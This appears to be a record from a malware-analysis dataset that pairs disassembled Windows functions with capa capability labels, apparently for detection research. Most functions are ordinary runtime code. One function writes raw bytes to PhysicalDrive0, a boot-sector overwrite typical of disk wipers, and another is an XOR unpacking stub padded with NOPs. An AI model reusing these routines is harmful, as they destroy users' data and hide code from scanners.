joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40102f
Capabilities:
Query environment variable

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esp + 8], ebx
je 0x401052
push 0x104
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401052
mov bl, 1
mov al, bl
pop ebx
ret

Function at 0x40125c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa5c
push ebx
push esi
lea eax, [ebp - 0x25c]
push edi
push eax
call fcn.00401000
lea eax, [ebp - 0x158]
push eax
call fcn.0040102f
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
xor ebx, ebx
cmp al, 1
pop ecx
jne 0x4012a8
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x65c]
push str._Djavaplugin.user.profile__s_
push eax
call edi
add esp, 0xc
jmp 0x4012ae
mov byte [ebp - 0x65c], bl
lea eax, [ebp - 0xa5c]
push eax
mov esi, 0x800
mov byte [ebp - 0xa5c], bl
call fcn.0040116a
cmp eax, 1
pop ecx
jne 0x4012d0
mov esi, 0xc00
push esi
call sub.MSVCR71.dll_void____cdecl_operator_new___unsigned_int_
push dword [ebp + 0xc]
mov esi, eax
lea eax, [ebp - 0x65c]
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0xa5c]
push eax
push dword [ebp + 8]
push dword [ebp + 8]
push str._sjavaw.exe__Xbootclasspath_a:__s..libdeploy.jar___s__Duser.home__s___s_com.sun.deploy.panel.ControlPanel__s
push esi
call edi
add esp, 0x24
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401342
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 2
call fcn.004011d4
add esp, 0xc
jmp 0x40134b
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCR71.dll_void___cdecl_operator_delete___void__
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4013a7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
cmp dword [0x403020], 0
je 0x4013c0
mov eax, dword [0x40301c]
leave
ret
push edi
push 0x25
pop ecx
xor eax, eax
lea edi, [ebp - 0x94]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x84], 2
pop edi
jne 0x4013ff
cmp dword [ebp - 0x90], 6
jne 0x4013ff
mov eax, ecx
jmp 0x401401
xor eax, eax
mov dword [0x40301c], eax
mov dword [0x403020], ecx
leave
ret
Function at 0x4014e0
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x402258
call fcn.0040147c
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x401520
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401520
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401538
cmp eax, 0x20b
je 0x401525
mov dword [ebp - 0x1c], ebx
jmp 0x40154c
cmp dword [ecx + 0x84], 0xe
jbe 0x401520
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x401546
cmp dword [ecx + 0x74], 0xe
jbe 0x401520
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x403038], 0xffffffff
or dword [0x40303c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x403030]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40302c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403034], eax
call fcn.00401724
call fcn.004017c4
cmp dword [0x403010], ebx
jne 0x4015ac
push fcn.004017c4
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.004017b2
push 0x40300c
push 0x403008
call sub.MSVCR71.dll__initterm
push 0x401768
call fcn.00401712
mov eax, dword [0x403028]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403024]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x401600
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x403004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x40167e
cmp al, bl
je 0x40162a
cmp dword [ebp - 0x20], ebx
jne 0x40167e
mov al, byte [esi]
cmp al, bl
je 0x40163a
cmp al, 0x20
ja 0x40163a
inc esi
mov dword [ebp - 0x24], esi
jmp 0x40162a
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x401656
movzx eax, word [ebp - 0x54]
jmp 0x401659
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00401357
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x401676
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x4016d3
cmp al, 0x22
jne 0x40168d
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x4016a0
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x401618
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.004014b7
ret
Function at 0x401500
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
leave
ret 4

Function at 0x401650
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x4042c0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
leave
ret
Function at 0x402020
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x402080
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x415050]
test esi, esi
jle 0x40216d
mov edi, dword [0x415054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x4020b4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x402166
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x4020a0
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x4021aa
lea ebx, [esi + esi*2]
mov esi, dword [0x415054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x415054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40218a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40215f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40215f
mov eax, dword [esp + 0x20]
add ebx, dword [0x415054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x402174
add dword [0x415050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x4020be
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x415054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x402670
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x415408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x415400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x4026c5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4026be
test esi, esi
je 0x4026be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4026a0
mov dword [esp], 0x415408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4028e0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x402918
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40290e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40291a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402900
xor eax, eax
pop ebx
pop esi
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x330770c
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x4c4577c1
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x409270
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x208], eax
push esi
lea eax, [esp + 4]
mov esi, ecx
push eax
push 0
push 0
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x4092b5
xor al, al
pop esi
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.0040a650
add esp, 0x20c
ret
cmp word [esi], 0
mov ecx, dword [esp + 0x214]
je 0x4092cc
add esi, 2
dec ecx
cmp word [esi], 0
jne 0x4092c2
cmp word [esp + 4], 0
je 0x4092f7
lea edx, [esp + 4]
sub edx, esi
nop word [eax + eax]
cmp ecx, 1
jb 0x409314
mov ax, word [edx + esi]
dec ecx
mov word [esi], ax
add esi, 2
cmp word [edx + esi], 0
jne 0x4092e0
mov ecx, dword [esp + 0x20c]
xor eax, eax
mov word [esi], ax
mov al, 1
pop esi
xor ecx, esp
call fcn.0040a650
add esp, 0x20c
ret
call fcn.0040da01
int3
Function at 0x409910
Capabilities:
Create directory

Disassembly:
mov eax, 0x200c
call fcn.0041cea0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2004], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [0x428480]
mov ebp, ecx
test edi, edi
jne 0x409977
push 0x1000
mov edx, str.HOME
lea ecx, [esp + 0x14]
call fcn.00409320
add esp, 4
test al, al
je 0x409a54
lea eax, [esp + 0x10]
push eax
call fcn.004116ed
mov edi, dword [0x428480]
add esp, 4
mov dword [edi*4 + 0x43b4b0], eax
inc edi
mov dword [0x428480], edi
xor esi, esi
test edi, edi
jle 0x4099c4
nop dword [eax]
mov eax, dword [esi*4 + 0x43b4b0]
mov ecx, ebp
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4099b6
test dx, dx
je 0x4099b2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4099b6
add ecx, 4
add eax, 4
test dx, dx
jne 0x409990
xor eax, eax
jmp 0x4099bb
sbb eax, eax
or eax, 1
test eax, eax
je 0x4099eb
inc esi
cmp esi, edi
jl 0x409980
mov ecx, ebp
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4099d0
sub ecx, edx
sar ecx, 1
cmp ecx, 2
jne 0x4099ef
cmp word [ebp + 2], 0x3a
jne 0x4099ef
mov al, 1
jmp 0x409a3b
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x409a10
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409a39
mov bl, 1
cmp dword [0x428480], 0x400
jge 0x409a39
push ebp
call fcn.004116ed
mov ecx, dword [0x428480]
add esp, 4
mov dword [ecx*4 + 0x43b4b0], eax
inc ecx
mov dword [0x428480], ecx
mov al, bl
mov ecx, dword [esp + 0x2014]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040a650
add esp, 0x200c
ret
mov ecx, str.HOME
call fcn.00409810
int3

Function at 0x409b60
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
mov eax, dword [0x428484]
sub esp, 0x20
test eax, eax
je 0x409b96
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x409b8a
push 0
push dword [0x428484]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x428484]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x42848c], 0
je 0x409c6b
push ebx
push ebp
push esi
mov eax, 0x414
mov dword [esp + 0xc], 0
push edi
mov edi, dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov word [esp + 0x20], ax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x438cb0
mov dword [esp + 0x20], 0x423c50
mov dword [esp + 0x26], 0
mov dword [esp + 0x2a], 0
mov dword [esp + 0x2e], 0x423c50
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x438cb0
call ebp
cmp eax, 0xffffffff
je 0x409c67
test al, 0x10
je 0x409c67
push 0x64
call ebx
mov eax, 0x414
mov dword [esp + 0x10], 0
mov word [esp + 0x20], ax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x438cb0
mov dword [esp + 0x20], 0x423c50
mov dword [esp + 0x26], 0
mov dword [esp + 0x2a], 0
mov dword [esp + 0x2e], 0x423c50
call edi
inc esi
cmp esi, 0x14
jl 0x409c04
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x409cb0
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x1000
mov ebp, eax
xor eax, eax
push 0x43c4b0
push eax
mov word [0x428cb0], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409f5d
xor ebx, ebx
mov dword [ebp], 0x43c4b0
cmp dword [esp + 0x10], ebx
jle 0x409f52
nop dword [eax]
cmp ebx, 1
jl 0x409d39
cmp word [0x428cb0], 0
mov ecx, 0x8000
mov eax, 0x428cb0
je 0x409d33
nop dword [eax]
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409d20
cmp ecx, 1
jb 0x409f5d
mov dword [eax], 0x20
mov edi, dword [ebp + ebx*4]
mov esi, str.__t_n_v_
mov ecx, 0x20
push ecx
push edi
call fcn.0040b2fe
add esp, 8
test eax, eax
jne 0x409db9
movzx eax, word [esi + 2]
add esi, 2
mov ecx, eax
test ax, ax
jne 0x409d47
mov edx, 0x8000
mov esi, dword [ebp + ebx*4]
mov ecx, 0x428cb0
cmp word [0x428cb0], ax
je 0x409d8a
nop word [eax + eax]
add ecx, 2
dec edx
cmp word [ecx], 0
jne 0x409d80
movzx eax, word [esi]
mov edi, eax
test ax, ax
je 0x409daf
cmp edx, 1
jb 0x409f5d
add esi, 2
mov word [ecx], ax
add ecx, 2
dec edx
movzx eax, word [esi]
test ax, ax
jne 0x409d94
xor eax, eax
mov word [ecx], ax
jmp 0x409f47
cmp word [0x428cb0], 0
mov ecx, 0x8000
mov eax, 0x428cb0
je 0x409de3
nop dword [eax]
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409dd0
cmp ecx, 1
jb 0x409f5d
mov dword [eax], 0x22
mov edi, dword [ebp + ebx*4]
nop dword [eax]
movzx eax, word [edi]
xor edx, edx
mov ecx, eax
cmp eax, 0x5c
jne 0x409e0f
nop dword [eax]
movzx eax, word [edi + 2]
add edi, 2
inc edx
cmp eax, 0x5c
je 0x409e00
mov ecx, eax
xor esi, esi
test cx, cx
je 0x409ee4
cmp word [edi], 0x22
jne 0x409e64
lea edx, [edx*2 + 1]
test edx, edx
jle 0x409ea2
nop dword [eax + eax]
cmp word [0x428cb0], 0
mov ecx, 0x8000
mov eax, 0x428cb0
je 0x409e57
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409e44
cmp ecx, 1
jb 0x409f5d
inc esi
mov dword [eax], 0x5c
cmp esi, edx
jl 0x409e30
jmp 0x409ea2
test edx, edx
jle 0x409ea2
nop dword [eax + eax]
cmp word [0x428cb0], 0
mov ecx, 0x8000
mov eax, 0x428cb0
je 0x409e97
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409e84
cmp ecx, 1
jb 0x409f5d
inc esi
mov dword [eax], 0x5c
cmp esi, edx
jl 0x409e70
cmp word [0x428cb0], 0
mov ecx, 0x8000
movzx edx, word [edi]
mov eax, 0x428cb0
je 0x409ed3
nop dword [eax]
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409ec0
cmp ecx, 1
jb 0x409f5d
xor ecx, ecx
mov word [eax], dx
mov word [eax + 2], cx
add edi, 2
jmp 0x409df0
add edx, edx
test edx, edx
jle 0x409f1e
nop word [eax + eax]
cmp word [0x428cb0], 0
mov ecx, 0x8000
mov eax, 0x428cb0
je 0x409f13
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409f04
cmp ecx, 1
jb 0x409f5d
inc esi
mov dword [eax], 0x5c
cmp esi, edx
jl 0x409ef0
cmp word [0x428cb0], 0
mov ecx, 0x8000
mov eax, 0x428cb0
je 0x409f41
add eax, 2
dec ecx
cmp word [eax], 0
jne 0x409f32
cmp ecx, 1
jb 0x409f5d
mov dword [eax], 0x22
inc ebx
cmp ebx, dword [esp + 0x10]
jl 0x409d00
pop edi
pop esi
pop ebp
mov eax, 0x428cb0
pop ebx
pop ecx
ret
call fcn.0040da01
int3
Function at 0x40a9cc
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x40aa01
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x40a9fe
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x40aa0a
add edx, 0x28
cmp edx, esi
jne 0x40a9ec
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x40aa07

Function at 0x40ae79
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40aeb8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40aeb8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40aeb8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40aeb8
cmp dword [ecx + 0x74], 0xe
jbe 0x40aeb8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412c8c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41fabc
push 0x41fab4
push str.FlsAlloc
push 0x1f
call fcn.00412bc7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412cc0
push dword [ebp + 8]
mov ecx, esi
call dword [0x41e150]
call esi
jmp 0x412cc6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x412d0a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41facc
push 0x41fac4
push str.FlsGetValue
push 0x21
call fcn.00412bc7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412d41
push dword [ebp + 8]
mov ecx, esi
call dword [0x41e150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x412d49
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41fad4
push 0x41facc
push str.FlsSetValue
push 0x22
call fcn.00412bc7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412d83
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41e150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x414c49
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x414c94
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00414de4
test al, al
jne 0x414c8e
sub edx, 2
cmp edx, edi
jne 0x414c74
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x414cb6
lea eax, [edi + 2]
cmp edx, eax
je 0x414cb6
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00414b95
add esp, 0x10
jmp 0x414db0
push esi
lea ecx, [ebp - 0x255]
call fcn.00414de4
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x414cf9
push dword [ebp - 0x25c]
jmp 0x414ca6
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x414d36
cmp word [ebp - 0x226], 0
je 0x414d57
cmp word [ebp - 0x226], ax
jne 0x414d36
cmp word [ebp - 0x224], 0
je 0x414d57
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00414b95
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x414da3
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x414d10
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x414d8b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x414db0
push 0x4149c5
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00419960
add esp, 0x10
jmp 0x414d80
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a650
leave
ret
Function at 0x41ca90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41cabd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41cabd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret